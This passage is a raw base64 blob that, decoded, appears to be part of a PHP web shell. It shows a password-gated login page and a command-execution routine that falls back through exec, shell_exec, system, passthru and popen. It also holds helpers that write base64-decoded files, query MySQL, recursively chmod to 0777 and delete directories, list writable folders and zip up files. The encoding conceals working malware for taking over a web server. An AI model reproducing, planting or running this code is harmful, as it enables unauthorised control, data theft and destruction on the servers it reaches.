CAgICAgICRmcm9tID0gMTsgDQogICAgICAgICAgICAkdG8gPSAkcGFnZXM7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICRmcm9tID0gJGN1cnBhZ2UgLSAkb2Zmc2V0OyANCiAgICAgICAgICAgICR0byA9ICRjdXJwYWdlICsgJHBhZ2UgLSAkb2Zmc2V0IC0gMTsgDQogICAgICAgICAgICBpZigkZnJvbSA8IDEpIHsgDQogICAgICAgICAgICAgICAgJHRvID0gJGN1cnBhZ2UgKyAxIC0gJGZyb207IA0KICAgICAgICAgICAgICAgICRmcm9tID0gMTsgDQogICAgICAgICAgICAgICAgaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsgDQogICAgICAgICAgICAgICAgICAgICR0byA9ICRwYWdlOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSBlbHNlaWYoJHRvID4gJHBhZ2VzKSB7IA0KICAgICAgICAgICAgICAgICRmcm9tID0gJGN1cnBhZ2UgLSAkcGFnZXMgKyAkdG87IA0KICAgICAgICAgICAgICAgICR0byA9ICRwYWdlczsgDQogICAgICAgICAgICAgICAgaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsgDQogICAgICAgICAgICAgICAgICAgICRmcm9tID0gJHBhZ2VzIC0gJHBhZ2UgKyAxOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgJG11bHRpcGFnZSA9ICgkY3VycGFnZSAtICRvZmZzZXQgPiAxICYmICRwYWdlcyA+ICRwYWdlID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAxKTsiPkZpcnN0PC9hPiAnIDogJycpLigkY3VycGFnZSA+IDEgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlIC0gMSkuJyk7Ij5QcmV2PC9hPiAnIDogJycpOyANCiAgICAgICAgZm9yKCRpID0gJGZyb207ICRpIDw9ICR0bzsgJGkrKykgeyANCiAgICAgICAgICAgICRtdWx0aXBhZ2UgLj0gJGkgPT0gJGN1cnBhZ2UgPyAkaS4nICcgOiAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJGkuJyk7Ij5bJy4kaS4nXTwvYT4gJzsgDQogICAgICAgIH0gDQogICAgICAgICRtdWx0aXBhZ2UgLj0gKCRjdXJwYWdlIDwgJHBhZ2VzID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSArIDEpLicpOyI+TmV4dDwvYT4nIDogJycpLigkdG8gPCAkcGFnZXMgPyAnIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRwYWdlcy4nKTsiPkxhc3Q8L2E+JyA6ICcnKTsgDQogICAgICAgICRtdWx0aXBhZ2UgPSAkbXVsdGlwYWdlID8gJzxwPlBhZ2VzOiAnLiRtdWx0aXBhZ2UuJzwvcD4nIDogJyc7IA0KICAgIH0gDQogICAgcmV0dXJuICRtdWx0aXBhZ2U7IA0KfSANCi8vICAgwr0gICAgIA0KZnVuY3Rpb24gbG9naW5wYWdlKCkgeyANCj8+IA0KICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+IA0KICAgIGlucHV0IHtmb250OjExcHggVmVyZGFuYTtCQUNLR1JPVU5EOiAjRkZGRkZGO2hlaWdodDogMThweDtib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O30gDQogICAgPC9zdHlsZT4gDQogICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+IA0KICAgIDxzcGFuIHN0eWxlPSJmb250OjExcHggVmVyZGFuYTsiPlBhc3N3b3JkOiA8L3NwYW4+PGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMjAiPiANCiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb2luZyIgdmFsdWU9ImxvZ2luIj4gDQogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4gDQogICAgPC9mb3JtPiANCjw/cGhwIA0KICAgIGV4aXQ7IA0KfS8vZW5kIGxvZ2lucGFnZSgpIA0KDQpmdW5jdGlvbiBleGVjdXRlKCRjZmUpIHsgDQogICAgJHJlcyA9ICcnOyANCiAgICBpZiAoJGNmZSkgeyANCiAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsgDQogICAgICAgICAgICBAZXhlYygkY2ZlLCRyZXMpOyANCiAgICAgICAgICAgICRyZXMgPSBqb2luKCJcbiIsJHJlcyk7IA0KICAgICAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyANCiAgICAgICAgICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsgDQogICAgICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsgDQogICAgICAgICAgICBAb2Jfc3RhcnQoKTsgDQogICAgICAgICAgICBAc3lzdGVtKCRjZmUpOyANCiAgICAgICAgICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IA0KICAgICAgICAgICAgQG9iX2VuZF9jbGVhbigpOyANCiAgICAgICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7IA0KICAgICAgICAgICAgQG9iX3N0YXJ0KCk7IA0KICAgICAgICAgICAgQHBhc3N0aHJ1KCRjZmUpOyANCiAgICAgICAgICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IA0KICAgICAgICAgICAgQG9iX2VuZF9jbGVhbigpOyANCiAgICAgICAgfSBlbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpIHsgDQogICAgICAgICAgICAkcmVzID0gJyc7IA0KICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmKSkgeyANCiAgICAgICAgICAgICAgICAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgIA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIEBwY2xvc2UoJGYpOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIHJldHVybiAkcmVzOyANCn0gDQpmdW5jdGlvbiB3aGljaCgkcHIpIHsgDQogICAgJHBhdGggPSBleGVjdXRlKCJ3aGljaCAkcHIiKTsgDQogICAgcmV0dXJuICgkcGF0aCA/ICRwYXRoIDogJHByKTsgIA0KfSANCg0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KXsgDQogICAgaWYoJGZwPUBmb3BlbigkZm5hbWUsJ3cnKSkgeyANCiAgICAgICAgQGZwdXRzKCRmcCxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOyANCiAgICAgICAgQGZjbG9zZSgkZnApOyANCiAgICB9IA0KfSANCg0KLy8gPyAgICAgICAgPyANCmZ1bmN0aW9uIGRlYnVnaW5mbygpIHsgDQogICAgZ2xvYmFsICRzdGFydHRpbWU7IA0KICAgICRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7IA0KICAgICR0b3RhbHRpbWUgPSBudW1iZXJfZm9ybWF0KCgkbXRpbWVbMV0gKyAkbXRpbWVbMF0gLSAkc3RhcnR0aW1lKSwgNik7IA0KICAgIGVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOyANCn0gDQoNCi8vICAgICAgID8gIA0KZnVuY3Rpb24gZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWU9JycsJGNoYXJzZXQ9JycsJGRicG9ydD0nMzMwNicpIHsgDQogICAgaWYoISRsaW5rID0gQG15c3FsX2Nvbm5lY3QoJGRiaG9zdC4nOicuJGRicG9ydCwgJGRidXNlciwgJGRicGFzcykpIHsgDQogICAgICAgIHAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsgDQogICAgICAgIGV4aXQ7IA0KICAgIH0gDQogICAgaWYoJGxpbmsgJiYgJGRibmFtZSkgeyANCiAgICAgICAgaWYgKCFAbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUsICRsaW5rKSkgeyANCiAgICAgICAgICAgIHAoJzxoMj5EYXRhYmFzZSBzZWxlY3RlZCBoYXMgZXJyb3I8L2gyPicpOyANCiAgICAgICAgICAgIGV4aXQ7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgeyANCiAgICAgICAgaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkY2hhcnNldCksIGFycmF5KCdnYmsnLCAnYmlnNScsICd1dGY4JykpKSB7IA0KICAgICAgICAgICAgcSgiU0VUIGNoYXJhY3Rlcl9zZXRfY29ubmVjdGlvbj0kY2hhcnNldCwgY2hhcmFjdGVyX3NldF9yZXN1bHRzPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X2NsaWVudD1iaW5hcnk7IiwgJGxpbmspOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIHJldHVybiAkbGluazsgDQp9IA0KDQovLyA/ICA/ICAgPyAgDQpmdW5jdGlvbiBzX2FycmF5KCYkYXJyYXkpIHsgDQogICAgaWYgKGlzX2FycmF5KCRhcnJheSkpIHsgDQogICAgICAgIGZvcmVhY2ggKCRhcnJheSBhcyAkayA9PiAkdikgeyANCiAgICAgICAgICAgICRhcnJheVska10gPSBzX2FycmF5KCR2KTsgDQogICAgICAgIH0gDQogICAgfSBlbHNlIGlmIChpc19zdHJpbmcoJGFycmF5KSkgeyANCiAgICAgICAgJGFycmF5ID0gc3RyaXBzbGFzaGVzKCRhcnJheSk7IA0KICAgIH0gDQogICAgcmV0dXJuICRhcnJheTsgDQp9IA0KDQovLyAgICAgSFRNTCAgICAgDQpmdW5jdGlvbiBodG1sX2NsZWFuKCRjb250ZW50KSB7IA0KICAgICRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7IA0KICAgICRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlxuIiwgIjxiciAvPiIsICRjb250ZW50KTsgDQogICAgJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiICAiLCAiJm5ic3A7Jm5ic3A7IiwgJGNvbnRlbnQpOyANCiAgICAkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29udGVudCk7IA0KICAgIHJldHVybiAkY29udGVudDsgDQp9IA0KDQovLyAgID8/ICAgDQpmdW5jdGlvbiBnZXRDaG1vZCgkZmlsZXBhdGgpeyANCiAgICByZXR1cm4gc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOyANCn0gDQoNCmZ1bmN0aW9uIGdldFBlcm1zKCRmaWxlcGF0aCkgeyANCiAgICAkbW9kZSA9IEBmaWxlcGVybXMoJGZpbGVwYXRoKTsgDQogICAgaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gJ3MnO30gDQogICAgZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9ICdkJzt9IA0KICAgIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAnbCc7fSANCiAgICBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gJy0nO30gIA0KICAgIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAnYic7fSANCiAgICBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gJ2MnO30gDQogICAgZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICdwJzt9IA0KICAgIGVsc2UgeyR0eXBlID0gJz8nO30gDQoNCiAgICAkb3duZXJbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsgIA0KICAgICRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsgIA0KICAgICRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOyAgDQogICAgJGdyb3VwWydyZWFkJ10gPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7ICANCiAgICAkZ3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7ICANCiAgICAkZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsgIA0KICAgICR3b3JsZFsncmVhZCddID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOyAgDQogICAgJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOyAgDQogICAgJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7ICANCg0KICAgIGlmKCAkbW9kZSAmIDB4ODAwICkgeyRvd25lclsnZXhlY3V0ZSddID0gKCRvd25lclsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnO30gDQogICAgaWYoICRtb2RlICYgMHg0MDAgKSB7JGdyb3VwWydleGVjdXRlJ10gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fSANCiAgICBpZiggJG1vZGUgJiAweDIwMCApIHskd29ybGRbJ2V4ZWN1dGUnXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzt9IA0KICANCiAgICByZXR1cm4gJHR5cGUuJG93bmVyWydyZWFkJ10uJG93bmVyWyd3cml0ZSddLiRvd25lclsnZXhlY3V0ZSddLiRncm91cFsncmVhZCddLiRncm91cFsnd3JpdGUnXS4kZ3JvdXBbJ2V4ZWN1dGUnXS4kd29ybGRbJ3JlYWQnXS4kd29ybGRbJ3dyaXRlJ10uJHdvcmxkWydleGVjdXRlJ107IA0KfSANCg0KZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpICAgIHsgDQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgeyANCiAgICAgICAgJGFycmF5ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZpbGVwYXRoKSk7IA0KICAgICAgICBpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsgDQogICAgICAgICAgICByZXR1cm4gJyAvIDxhIGhyZWY9IiMiIHRpdGxlPSJVc2VyOiAnLiRhcnJheVsnbmFtZSddLicmIzEzJiMxMFBhc3N3ZDogJy4kYXJyYXlbJ3Bhc3N3ZCddLicmIzEzJiMxMFVpZDogJy4kYXJyYXlbJ3VpZCddLicmIzEzJiMxMGdpZDogJy4kYXJyYXlbJ2dpZCddLicmIzEzJiMxMEdlY29zOiAnLiRhcnJheVsnZ2Vjb3MnXS4nJiMxMyYjMTBEaXI6ICcuJGFycmF5WydkaXInXS4nJiMxMyYjMTBTaGVsbDogJy4kYXJyYXlbJ3NoZWxsJ10uJyI+Jy4kYXJyYXlbJ25hbWUnXS4nPC9hPic7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICcnOyANCn0gDQoNCi8vID8gID/CvCANCmZ1bmN0aW9uIGRlbHRyZWUoJGRlbGRpcikgeyANCiAgICAkbXlkaXI9QGRpcigkZGVsZGlyKTsgICAgIA0KICAgIHdoaWxlKCRmaWxlPSRteWRpci0+cmVhZCgpKSAgICB7ICAgICAgICAgIA0KICAgICAgICBpZigoaXNfZGlyKCRkZWxkaXIuJy8nLiRmaWxlKSkgJiYgKCRmaWxlIT0nLicpICYmICgkZmlsZSE9Jy4uJykpIHsgIA0KICAgICAgICAgICAgQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOyANCiAgICAgICAgICAgIGRlbHRyZWUoJGRlbGRpci4nLycuJGZpbGUpOyAgDQogICAgICAgIH0gDQogICAgICAgIGlmIChpc19maWxlKCRkZWxkaXIuJy8nLiRmaWxlKSkgeyANCiAgICAgICAgICAgIEBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsgDQogICAgICAgICAgICBAdW5saW5rKCRkZWxkaXIuJy8nLiRmaWxlKTsgDQogICAgICAgIH0gDQogICAgfSAgDQogICAgJG15ZGlyLT5jbG9zZSgpOyAgDQogICAgQGNobW9kKCRkZWxkaXIsMDc3Nyk7IA0KICAgIHJldHVybiBAcm1kaXIoJGRlbGRpcikgPyAxIDogMDsgDQp9IA0KDQovLyAgICAgID8gIMSxICAgPyA/IA0KZnVuY3Rpb24gYmcoKSB7IA0KICAgIGdsb2JhbCAkYmdjOyANCiAgICByZXR1cm4gKCRiZ2MrKyUyPT0wKSA/ICdhbHQxJyA6ICdhbHQyJzsgDQp9IA0KDQovLyAgID8gID8gICA/ID8/wrcgICANCmZ1bmN0aW9uIGdldFBhdGgoJHNjcmlwdHBhdGgsICRub3dwYXRoKSB7IA0KICAgIGlmICgkbm93cGF0aCA9PSAnLicpIHsgDQogICAgICAgICRub3dwYXRoID0gJHNjcmlwdHBhdGg7IA0KICAgIH0gDQogICAgJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRub3dwYXRoKTsgDQogICAgJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRub3dwYXRoKTsgDQogICAgaWYgKHN1YnN0cigkbm93cGF0aCwgLTEpICE9ICcvJykgeyANCiAgICAgICAgJG5vd3BhdGggPSAkbm93cGF0aC4nLyc7IA0KICAgIH0gDQogICAgcmV0dXJuICRub3dwYXRoOyANCn0gDQoNCi8vICAgPyAgPz/CvCAgID8gP8K8IA0KZnVuY3Rpb24gZ2V0VXBQYXRoKCRub3dwYXRoKSB7IA0KICAgICRwYXRoZGIgPSBleHBsb2RlKCcvJywgJG5vd3BhdGgpOyANCiAgICAkbnVtID0gY291bnQoJHBhdGhkYik7IA0KICAgIGlmICgkbnVtID4gMikgeyANCiAgICAgICAgdW5zZXQoJHBhdGhkYlskbnVtLTFdLCRwYXRoZGJbJG51bS0yXSk7IA0KICAgIH0gDQogICAgJHVwcGF0aCA9IGltcGxvZGUoJy8nLCAkcGF0aGRiKS4nLyc7IA0KICAgICR1cHBhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICR1cHBhdGgpOyANCiAgICByZXR1cm4gJHVwcGF0aDsgDQp9IA0KDQovLyAgICAgUEhQICAgw7IgICAgDQpmdW5jdGlvbiBnZXRjZmcoJHZhcm5hbWUpIHsgDQogICAgJHJlc3VsdCA9IGdldF9jZmdfdmFyKCR2YXJuYW1lKTsgDQogICAgaWYgKCRyZXN1bHQgPT0gMCkgeyANCiAgICAgICAgcmV0dXJuICdObyc7IA0KICAgIH0gZWxzZWlmICgkcmVzdWx0ID09IDEpIHsgDQogICAgICAgIHJldHVybiAnWWVzJzsgDQogICAgfSBlbHNlIHsgDQogICAgICAgIHJldHVybiAkcmVzdWx0OyANCiAgICB9IA0KfSANCg0KLy8gICAgPyAgICAgICANCmZ1bmN0aW9uIGdldGZ1bigkZnVuTmFtZSkgeyANCiAgICByZXR1cm4gKGZhbHNlICE9PSBmdW5jdGlvbl9leGlzdHMoJGZ1bk5hbWUpKSA/ICdZZXMnIDogJ05vJzsgDQp9IA0KDQpmdW5jdGlvbiBHZXRMaXN0KCRkaXIpeyANCiAgICBnbG9iYWwgJGRpcmRhdGEsJGosJG5vd3BhdGg7IA0KICAgICEkaiAmJiAkaj0xOyANCiAgICBpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgeyANCiAgICAgICAgd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7IA0KICAgICAgICAgICAgJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOyANCiAgICAgICAgICAgIGlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicgJiYgaXNfZGlyKCRmKSl7IA0KICAgICAgICAgICAgICAgIGlmIChpc193cml0YWJsZSgkZikpIHsgDQogICAgICAgICAgICAgICAgICAgICRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7IA0KICAgICAgICAgICAgICAgICAgICAkZGlyZGF0YVskal1bJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGYpKTsgDQogICAgICAgICAgICAgICAgICAgICRkaXJkYXRhWyRqXVsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZik7IA0KICAgICAgICAgICAgICAgICAgICAkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7IA0KICAgICAgICAgICAgICAgICAgICAkZGlyZGF0YVskal1bJ2RpcmxpbmsnXT11ZSgkZGlyKTsgDQogICAgICAgICAgICAgICAgICAgICRkaXJkYXRhWyRqXVsnc2VydmVyX2xpbmsnXT0kZjsgDQogICAgICAgICAgICAgICAgICAgICRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7IA0KICAgICAgICAgICAgICAgICAgICAkaisrOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIEdldExpc3QoJGYpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIGNsb3NlZGlyKCRkaCk7IA0KICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOyANCiAgICAgICAgcmV0dXJuICRkaXJkYXRhOyANCiAgICB9IGVsc2UgeyANCiAgICAgICAgcmV0dXJuIGFycmF5KCk7IA0KICAgIH0gDQp9IA0KDQpmdW5jdGlvbiBxeSgkc3FsKSB7ICANCiAgICAvL2VjaG8gJHNxbC4nPGJyPic7IA0KICAgICRyZXMgPSAkZXJyb3IgPSAnJzsgDQogICAgaWYoISRyZXMgPSBAbXlzcWxfcXVlcnkoJHNxbCkpIHsgIA0KICAgICAgICByZXR1cm4gMDsgDQogICAgfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7IA0KICAgICAgICByZXR1cm4gMTsgIA0KICAgIH0gZWxzZSB7IA0KICAgICAgICByZXR1cm4gMjsgDQogICAgfSAgICAgDQogICAgcmV0dXJuIDA7IA0KfSANCg0KZnVuY3Rpb24gcSgkc3FsKSB7ICANCiAgICByZXR1cm4gQG15c3FsX3F1ZXJ5KCRzcWwpOyANCn0gDQoNCmZ1bmN0aW9uIGZyKCRxeSl7IA0KICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRxeSk7IA0KfSANCg0KZnVuY3Rpb24gc2l6ZWNvdW50KCRzaXplKSB7IA0KICAgIGlmKCRzaXplID4gMTA3Mzc0MTgyNCkgeyANCiAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBHJzsgDQogICAgfSBlbHNlaWYoJHNpemUgPiAxMDQ4NTc2KSB7IA0KICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTA0ODU3NiAqIDEwMCkgLyAxMDAgLiAnIE0nOyANCiAgICB9IGVsc2VpZigkc2l6ZSA+IDEwMjQpIHsgDQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICcgSyc7IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICAkc2l6ZSA9ICRzaXplIC4gJyBCJzsgDQogICAgfSANCiAgICByZXR1cm4gJHNpemU7IA0KfSANCg0KLy8gPyAgICAgICAgIA0KY2xhc3MgUEhQWmlweyANCiAgICB2YXIgJG91dD0nJzsgDQogICAgZnVuY3Rpb24gUEhQWmlwKCRkaXIpICAgIHsgDQogICAgICAgIGlmIChAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpICAgIHsgDQogICAgICAgICAgICAkY3VyZGlyID0gZ2V0Y3dkKCk7IA0KICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOyANCiAgICAgICAgICAgIGVsc2V7IA0KICAgICAgICAgICAgICAgICRmaWxlbGlzdD0kdGhpcyAtPiBHZXRGaWxlTGlzdCgkZGlyKTsvLyA/ICA/ICANCiAgICAgICAgICAgICAgICBmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGlmICgoIWVtcHR5KCRkaXIpKSYmKCFpc19hcnJheSgkZGlyKSkmJihmaWxlX2V4aXN0cygkZGlyKSkpIGNoZGlyKCRkaXIpOyANCiAgICAgICAgICAgIGVsc2UgY2hkaXIoJGN1cmRpcik7IA0KICAgICAgICAgICAgaWYgKGNvdW50KCRmaWxlbGlzdCk+MCl7IA0KICAgICAgICAgICAgICAgIGZvcmVhY2goJGZpbGVsaXN0IGFzICRmaWxlbmFtZSl7IA0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsgDQogICAgICAgICAgICAgICAgICAgICAgICAkZmQgPSBmb3BlbiAoJGZpbGVuYW1lLCAncicpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gQGZyZWFkICgkZmQsIGZpbGVzaXplKCRmaWxlbmFtZSkpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSAoJGZkKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJGRpcikpICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRmaWxlbmFtZSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMgLT4gYWRkRmlsZSgkY29udGVudCwgJGZpbGVuYW1lKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkdGhpcy0+b3V0ID0gJHRoaXMgLT4gZmlsZSgpOyANCiAgICAgICAgICAgICAgICBjaGRpcigkY3VyZGlyKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIDE7IA0KICAgICAgICB9IA0KICAgICAgICBlbHNlIHJldHVybiAwOyANCiAgICB9IA0KDQogICAgLy8gICAgID8gID/CvCA/ICA/ICANCiAgICBmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsgDQogICAgICAgIHN0YXRpYyAkYTsgDQogICAgICAgIGlmIChpc19kaXIoJGRpcikpIHsgDQogICAgICAgICAgICBpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgeyANCiAgICAgICAgICAgICAgICB3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsgDQogICAgICAgICAgICAgICAgICAgIGlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicpeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRmPSRkaXIgLicvJy4gJGZpbGU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRmKSkgJHRoaXMtPkdldEZpbGVMaXN0KCRmKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAkYVtdPSRmOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGNsb3NlZGlyKCRkaCk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgcmV0dXJuICRhOyANCiAgICB9IA0KDQogICAgdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOyANCiAgICB2YXIgJGN0cmxfZGlyICAgICA9IGFycmF5KCk7IA0KICAgIHZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsgDQogICAgdmFyICRvbGRfb2Zmc2V0ICAgPSAwOyANCg0KICAgIGZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7IA0KICAgICAgICAkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsgDQogICAgICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7IA0KICAgICAgICAgICAgJHRpbWVhcnJheVsneWVhciddICAgID0gMTk4MDsgDQogICAgICAgICAgICAkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOyANCi